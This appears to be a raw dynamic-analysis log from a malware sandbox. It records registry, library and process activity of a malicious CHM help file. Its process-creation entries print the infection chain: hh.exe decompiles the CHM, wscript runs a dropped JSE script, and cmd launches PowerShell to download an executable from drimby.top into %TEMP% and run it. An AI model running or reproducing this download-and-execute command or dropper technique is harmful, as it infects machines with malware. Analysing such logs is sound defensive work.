940000000a00000000000000ab3f000002000000007f00009c318a24fb7f0000708b8c24fb7f00000200000000000000708b8c24fb7f000000000000000000000300000000000000b1318a24fb7f0000a8158d24fb7f000090d87d470f020000a0d87d470f020000888b8c24fb7f00000100000000000000239f1b35fb7f00000000000000000000888b8c24fb7f000006000000 (UID: 00000000-00005764) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f0000303d8624fb7f0000c0fe8724fb7f00000400000000000000c0fe8724fb7f000000000000000000000500000000000000453d8624fb7f0000286a8824fb7f0000be5a9731fb7f000028cf7d470f020000553ef79afac60000b08e9731fb7f0000239f1b35fb7f00000100000000000000d1328624fb7f000000009031 (UID: 00000000-00005764) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f0000be5a9731fb7f000000008028fb7f000000000000000000000000000000000000883f8128fb7f00000001000000000000f0981935fb7f0000000100000000000000010000000000000000000000000000803f8128fb7f00000100000000000000bf108028fb7f00000000000000000000803f8128fb7f000000000000 (UID: 00000000-00005764) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000006f00770073005c006d006900630072006f0073006f00660074002e006e00650074005c006600720061006d00650077006f0072006b00360034005c00760034002e0030002e00330030003300310039005c0063006f006e006600690067005c006d0061006300680069006e0065002e0063006f006e006600690067000000 (UID: 00000000-00006336)2c:T761,"hh.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "hh.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "alg.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED")2d:Tc41,"powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "PROFILENAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPNAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "PROFILENAMESERVER"; Value: "")2e:Tab7,"hh.exe" queries volume information of "C:\Windows\Fonts\tahoma.ttf" at 00000000-00007804-00000C15-32639731 "hh.exe" queries volume information of "C:\Windows\Fonts\timesbd.ttf" at 00000000-00007804-00000C15-32767011 "hh.exe" queries volume information of "C:\Windows\Fonts\times.ttf" at 00000000-00007804-00000C15-32773554 "hh.exe" queries volume information of "C:\Windows\Fonts\simsun.ttc" at 00000000-00007804-00000C15-32834687 "hh.exe" queries volume information of "C:\Windows\Fonts\simsun.ttc" at 00000000-00007804-00000C15-32839666 "hh.exe" queries volume information of "C:\Windows\Fonts\arial.ttf" at 00000000-00007804-00000C15-32849854 "hh.exe" queries volume information of "C:\Windows\Fonts\malgun.ttf" at 00000000-00007804-00000C15-32868510 "hh.exe" queries volume information of "C:\Windows\Fonts\malgun.ttf" at 00000000-00007804-00000C15-32871580 "hh.exe" queries volume information of "C:\Windows\Fonts\arialbd.ttf" at 00000000-00007804-00000C15-32881312 "hh.exe" queries volume information of "C:\Windows\Fonts\malgunbd.ttf" at 00000000-00007804-00000C15-32884557 "hh.exe" queries volume information of "C:\Windows\Fonts\malgunbd.ttf" at 00000000-00007804-00000C15-32890115 "hh.exe" queries volume information of "C:\Windows\Fonts\timesbd.ttf" at 00000000-00007804-00000C15-32891646 "hh.exe" queries volume information of "C:\Windows\Fonts\simsun.ttc" at 00000000-00007804-00000C15-32892829 "hh.exe" queries volume information of "C:\Windows\Fonts\simsun.ttc" at 00000000-00007804-00000C15-32907751 "hh.exe" queries volume information of "C:\Windows\Fonts\simsun.ttc" at 00000000-00007804-00000C15-32916565 "hh.exe" queries volume information of "C:\Windows\Fonts\arialbd.ttf" at 00000000-00007804-00000C15-32918742 "hh.exe" queries volume information of "C:\Windows\Fonts\simsun.ttc" at 00000000-00007804-00000C15-32923875 "hh.exe" queries volume information of "C:\Windows\Fonts\seguisym.ttf" at 00000000-00007804-00000C15-32931071 "hh.exe" queries volume information of "C:\Windows\Fonts\seguisym.ttf" at 00000000-00007804-00000C15-32933666 "hh.exe" queries volume information of "C:\Windows\Fonts\seguisym.ttf" at 00000000-00007804-00000C15-32935239 "hh.exe" queries volume information of "C:\Windows\Fonts\seguisym.ttf" at 00000000-00007804-00000C15-32937617 "hh.exe" queries volume information of "C:\Windows\Fonts\malgun.ttf" at 00000000-00007804-00000C15-173214114 "hh.exe" queries volume information of "C:\Windows\Fonts\malgun.ttf" at 00000000-00007804-00000C15-173227310 "hh.exe" queries volume information of "C:\Windows\Fonts\malgun.ttf" at 00000000-00007804-00000C15-173242547 "hh.exe" queries volume information of "C:\Windows\Fonts\malgunbd.ttf" at 00000000-00007804-00000C15-1732772722f:T817,"powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "091E8EA1B256A312962AF6C140C0FBF079A407B3") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "091E8EA1B256A312962AF6C140C0FBF079A407B3") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "151682F5218C0A511C28F4060A73B9CA78CE9A53") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "151682F5218C0A511C28F4060A73B9CA78CE9A53") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "")30:Tbf4,"powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS\27748148BBE67A43CDBFEC6C3784862CE134E6EA"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\PROTECTEDROOTS"; Key: "CERTIFICATES") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\0E9612411A0A4ABD15B84FFACBA6DB3166916E75"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\18F7C1FCC3090203FD5BAA2F861A754976C8DD25"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\039EEDB80BE7A03C6953893B20D2D9323A4C2AFD"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\06F1AA330B927B753A40E68CDF22E34BCBEF3352"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\B31EB1B740E36C8402DADC37D44DF5D4674952F9"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\B51C067CEE2B0C3DF855AB2D92F4FE39D4E70F0E"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\CA3AFBCF1240364B44B216208880483919937CF7"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\CF9E876DD3EBFC422697A3B5A37AA076A9062348"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\D23209AD23D314232174E40D7F9D62139786633A"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\D4DE20D05E66FC53FE1A50882C78DB2852CAE474"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\D69B561148F01C77C54578C10926DF5B856976AD"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\D8C5388AB7301B1B6ED47AE645253A6F9F1A2761"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\DAC9024F54D8F6DF94935FB1732638CA6AD77C13"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4"; Key: "BLOB")31:T45d,"hh.exe" called "CreateProcessW" with parameter ""%WINDIR%\hh.exe" -decompile %PUBLIC%\Libraries C:\sgic_info.chm" - (UID: 00000000-00007804) "hh.exe" called "CreateProcessW" with parameter ""%WINDIR%\System32\wscript.exe" %PUBLIC%\Libraries\Docs.jse P" - (UID: 00000000-00007804) "wscript.exe" called "CreateProcessW" with parameter ""%WINDIR%\System32\cmd.exe" /c powershell iwr -outf %TEMP%\alg.exe https://drimby.top/wndfi & start" - (UID: 00000000-00006256) "cmd.exe" called "CreateProcessW" with parameter "powershell iwr -outf %TEMP%\alg.exe https://drimby.top/wndfi" - (UID: 00000000-00007020) "cmd.exe" called "CreateProcessW" with parameter "%TEMP%\alg.exe" - (UID: 00000000-00007020) "WScript.exe" called "CreateProcessW" with parameter ""%WINDIR%\System32\cmd.exe" /c powershell iwr -outf %TEMP%\alg.exe https://drimby.top/wndfi & start" - (UID: 00000000-00005764) "cmd.exe" called "CreateProcessW" with parameter "powershell iwr -outf %TEMP%\alg.exe https://drimby.top/wndfi" - (UID: 00000000-00006780) "cmd.exe" called "CreateProcessW" with parameter "%TEMP%\alg.exe" - (UID: 00000000-00006780)32:T67bb,"hh.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007804) "hh.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007804) "hh.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007804) "hh.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007804) "hh.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00007804) "hh.exe" called "LoadLibrary" with a parameter %WINDIR%\System32\hhctrl.ocx (UID: 00000000-00007804) "hh.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00007804) "hh.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00007804) "hh.exe" called "LoadLibrary" with a parameter UrlMon.dll (UID: 00000000-00007804) "hh.exe" called "LoadLibrary" with a parameter Kernel32 (UID: 00000000-00007804) "hh.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00007804) "hh.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00007804) "hh.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shlwapi-l2-1-0.dll (UID: 00000000-00007804) "hh.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l2-1-0.dll (UID: 00000000-00007804) "hh.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00007804) "hh.exe" called "LoadLibrary" with a parameter msIso.dll (UID: 00000000-00007804) "hh.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-ole32-l1-1-0.dll (UID: 00000000-00007804) "hh.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00007804) "hh.exe" called "LoadLibrary" with a parameter MSHTML.dll (UID: 00000000-00007804) "hh.exe" called "LoadLibrary" with a parameter WLDP.DLL (UID: 00000000-00007804) "hh.exe" called "LoadLibrary" with a parameter jscript9.dll (UID: 00000000-00007804) "hh.exe" called "LoadLibrary" with a parameter mshtml.dll (UID: 00000000-00007804) "hh.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00007804) "hh.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00007804) "hh.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00007804) "hh.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00007804) "hh.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00007804) "hh.exe" called "LoadLibrary" with a parameter sxs.dll (UID: 00000000-00007804) "hh.exe" called "LoadLibrary" with a parameter ieframe.dll (UID: 00000000-00007804) "hh.exe" called "LoadLibrary" with a parameter ext-ms-win-ntuser-touch-hittest-l1-1-0.dll (UID: 00000000-00007804) "hh.exe" called "LoadLibrary" with a parameter Secur32.dll (UID: 00000000-00007804) "hh.exe" called "LoadLibrary" with a parameter MLANG.dll (UID: 00000000-00007804) "hh.exe" called "LoadLibrary" with a parameter PROPSYS.dll (UID: 00000000-00007804) "hh.exe" called "LoadLibrary" with a parameter WININET.dll (UID: 00000000-00007804) "hh.exe" called "LoadLibrary" with a parameter api-ms-win-rtcore-ntuser-wmpointer-l1-1-0.dll (UID: 00000000-00007804) "hh.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005668) "hh.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005668) "hh.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00005668) "wscript.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006256) "wscript.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006256) "wscript.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006256) "wscript.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006256) "wscript.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006256) "wscript.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00006256) "wscript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00006256) "wscript.exe" called "LoadLibrary" with a parameter WLDP.DLL (UID: 00000000-00006256) "wscript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00006256) "wscript.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00006256) "wscript.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00006256) "wscript.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00006256) "wscript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00006256) "wscript.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00006256) "wscript.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00006256) "wscript.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00006256) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007020) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007020) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007020) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007020) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007740) "powershell.exe" called 